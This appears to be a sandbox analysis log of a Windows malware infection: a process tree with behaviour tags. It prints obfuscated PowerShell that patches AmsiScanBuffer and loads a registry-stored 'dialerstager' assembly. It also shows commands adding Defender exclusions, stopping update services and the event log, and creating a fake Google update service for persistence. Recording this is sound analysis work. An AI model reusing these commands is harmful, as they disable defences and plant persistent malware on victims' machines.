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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hpjmHcNrXnUX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tKIlABlkVJGabI,[Parameter(Position=1)][Type]$KvAdAvznub)$YrhYWEIhsRe=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'ed'+'D'+''+'e'+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+'od'+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+'l'+'e'+'g'+[Char](97)+'t'+[Char](101)+'T'+[Char](121)+'pe',''+[Char](67)+''+'l'+''+'a'+'s'+'s'+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+'Se'+[Char](97)+''+'l'+''+'e'+''+[Char](100)+''+','+''+'A'+''+'n'+''+'s'+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+'A'+''+'u'+''+[Char](116)+'oCl'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$YrhYWEIhsRe.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+'l'+[Char](78)+''+'a'+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+','+''+'P'+''+'u'+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$tKIlABlkVJGabI).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+'i'+''+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$YrhYWEIhsRe.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+'e'+'w'+''+'S'+''+[Char](108)+'o'+[Char](116)+''+','+''+'V'+''+'i'+'r'+[Char](116)+'ua'+[Char](108)+'',$KvAdAvznub,$tKIlABlkVJGabI).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $YrhYWEIhsRe.CreateType();}$sSPsiQsLXOoID=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+'t'+[Char](101)+''+'m'+'.'+'d'+'l'+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+'r'+''+'o'+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+'n'+'3'+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+'Me'+'t'+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$TSxADWfNFujDSQ=$sSPsiQsLXOoID.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+'cA'+[Char](100)+'d'+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CGLkoLhWqXzaaTOSTHI=hpjmHcNrXnUX @([String])([IntPtr]);$GLsFbieVwaWrJFUKOQcnsX=hpjmHcNrXnUX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vysRVPlswto=$sSPsiQsLXOoID.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+[Char](111)+'d'+[Char](117)+'l'+[Char](101)+''+[Char](72)+'an'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+'dl'+[Char](108)+'')));$RmyxZUPQLgszpN=$TSxADWfNFujDSQ.Invoke($Null,@([Object]$vysRVPlswto,[Object](''+'L'+'o'+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+'b'+'r'+'a'+''+[Char](114)+''+[Char](121)+'A')));$xfnnvDuVUejQZefxk=$TSxADWfNFujDSQ.Invoke($Null,@([Object]$vysRVPlswto,[Object](''+[Char](86)+''+'i'+''+'r'+'tu'+[Char](97)+'l'+'P'+''+[Char](114)+''+[Char](111)+'te'+'c'+''+[Char](116)+'')));$FVgHgvY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RmyxZUPQLgszpN,$CGLkoLhWqXzaaTOSTHI).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$ocjDTjfNOqaDOkKRL=$TSxADWfNFujDSQ.Invoke($Null,@([Object]$FVgHgvY,[Object](''+[Char](65)+''+'m'+'siS'+[Char](99)+''+[Char](97)+''+[Char](110)+'Buf'+[Char](102)+''+[Char](101)+'r')));$ISubmatTfq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xfnnvDuVUejQZefxk,$GLsFbieVwaWrJFUKOQcnsX).Invoke($ocjDTjfNOqaDOkKRL,[uint32]8,4,[ref]$ISubmatTfq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ocjDTjfNOqaDOkKRL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xfnnvDuVUejQZefxk,$GLsFbieVwaWrJFUKOQcnsX).Invoke($ocjDTjfNOqaDOkKRL,[uint32]8,0x20,[ref]$ISubmatTfq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+''+'A'+'R'+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2408 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1684
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:SwPzdfOgGkIz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$VXfrUFXXcyqnBp,[Parameter(Position=1)][Type]$tfodVxhgNh)$zXbQWsEoosy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+'c'+'t'+[Char](101)+''+'d'+''+[Char](68)+''+'e'+'l'+'e'+''+'g'+'a'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+'e'+'m'+'o'+'r'+'y'+''+'M'+''+'o'+''+'d'+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+''+[Char](84)+'y'+'p'+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+'A'+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$zXbQWsEoosy.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+'i'+'al'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+'d'+'eB'+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+'u'+'bl'+'i'+'c',[Reflection.CallingConventions]::Standard,$VXfrUFXXcyqnBp).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+'e'+''+','+''+[Char](77)+'an'+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$zXbQWsEoosy.DefineMethod(''+'I'+'n'+[Char](118)+'ok'+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+'i'+'g'+','+[Char](78)+'ew'+'S'+'l'+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$tfodVxhgNh,$VXfrUFXXcyqnBp).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'Ma'+'n'+''+[Char](97)+''+'g'+''+[Char](101)+'d');Write-Output $zXbQWsEoosy.CreateType();}$KhfrVCmVnMUNU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+'r'+''+'o'+'s'+[Char](111)+'ft.W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'fe'+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'eM'+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+[Char](100)+'s');$dnDALbHUEQVYwe=$KhfrVCmVnMUNU.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+'r'+[Char](111)+'cA'+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$uokfCLLIkUQQcNyUeqM=SwPzdfOgGkIz @([String])([IntPtr]);$ZbEGKVtOKZnQdAmvkZrznd=SwPzdfOgGkIz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mRVSwGfDmyz=$KhfrVCmVnMUNU.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+'a'+[Char](110)+'d'+'l'+'e').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+'2'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$UAprZsqRmQnDpW=$dnDALbHUEQVYwe.Invoke($Null,@([Object]$mRVSwGfDmyz,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'L'+'i'+''+'b'+''+'r'+''+'a'+''+[Char](114)+''+'y'+'A')));$YfkgCghzyfvIcYhRg=$dnDALbHUEQVYwe.Invoke($Null,@([Object]$mRVSwGfDmyz,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'ual'+[Char](80)+'ro'+'t'+''+'e'+''+'c'+''+'t'+'')));$OYcenen=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UAprZsqRmQnDpW,$uokfCLLIkUQQcNyUeqM).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+'l'+'l');$HFtjdMGSjiZRodzUP=$dnDALbHUEQVYwe.Invoke($Null,@([Object]$OYcenen,[Object](''+[Char](65)+'ms'+'i'+''+[Char](83)+'ca'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+'r'+'')));$POfFVKJlbe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YfkgCghzyfvIcYhRg,$ZbEGKVtOKZnQdAmvkZrznd).Invoke($HFtjdMGSjiZRodzUP,[uint32]8,4,[ref]$POfFVKJlbe);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HFtjdMGSjiZRodzUP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YfkgCghzyfvIcYhRg,$ZbEGKVtOKZnQdAmvkZrznd).Invoke($HFtjdMGSjiZRodzUP,[uint32]8,0x20,[ref]$POfFVKJlbe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+[Char](105)+'a'+'l'+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:3144 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1596
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1776
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1848
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1912
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1996
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1748
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2180
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2212
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2324
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2492
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2888
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:768
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3184
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3212 -
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Downloads MZ/PE file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\SYSTEM32\cmd.execmd /c start "" "C:\Users\Admin\AppData\Local\Temp\9f8aef71\6cabf5e4.exe"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3488 -
C:\Users\Admin\AppData\Local\Temp\9f8aef71\6cabf5e4.exe"C:\Users\Admin\AppData\Local\Temp\9f8aef71\6cabf5e4.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\ProgramData\Chrome141\Chrome140.exe"C:\ProgramData\Chrome141\Chrome140.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
PID:3484
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C:\Windows\SYSTEM32\cmd.execmd /c start "" "C:\Users\Admin\AppData\Local\Temp\9f8aef71\324dcd76.exe"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Users\Admin\AppData\Local\Temp\9f8aef71\324dcd76.exe"C:\Users\Admin\AppData\Local\Temp\9f8aef71\324dcd76.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2056
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3352 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart6⤵PID:2284
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc5⤵
- Launches sc.exe
PID:3204
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc5⤵
- Launches sc.exe
PID:3704
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv5⤵
- Launches sc.exe
PID:396
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits5⤵
- Launches sc.exe
PID:220
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc5⤵
- Launches sc.exe
PID:5064
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4640
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:888
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5044
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4256
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe5⤵PID:3320
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"5⤵
- Launches sc.exe
PID:4064
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"5⤵
- Launches sc.exe
PID:3148
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
PID:1052
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"5⤵
- Launches sc.exe
PID:2844 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:3316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3432
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3604
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3776
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4012
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4636
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
PID:3196
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:3720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4940
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:1668
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
- Modifies data under HKEY_USERS
- Suspicious use of UnmapMainImage
PID:3540
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:3080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:3304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:2268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3772
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks processor information in registry
PID:4208
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4956
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:3984
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C:\ProgramData\Chrome141\Chrome140.exeC:\ProgramData\Chrome141\Chrome140.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3544
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C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:924 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3988
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
PID:4528 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:4440
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1908
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:4140
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:3544
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2032
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2056
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3600
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4188 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4488
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4716 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2388
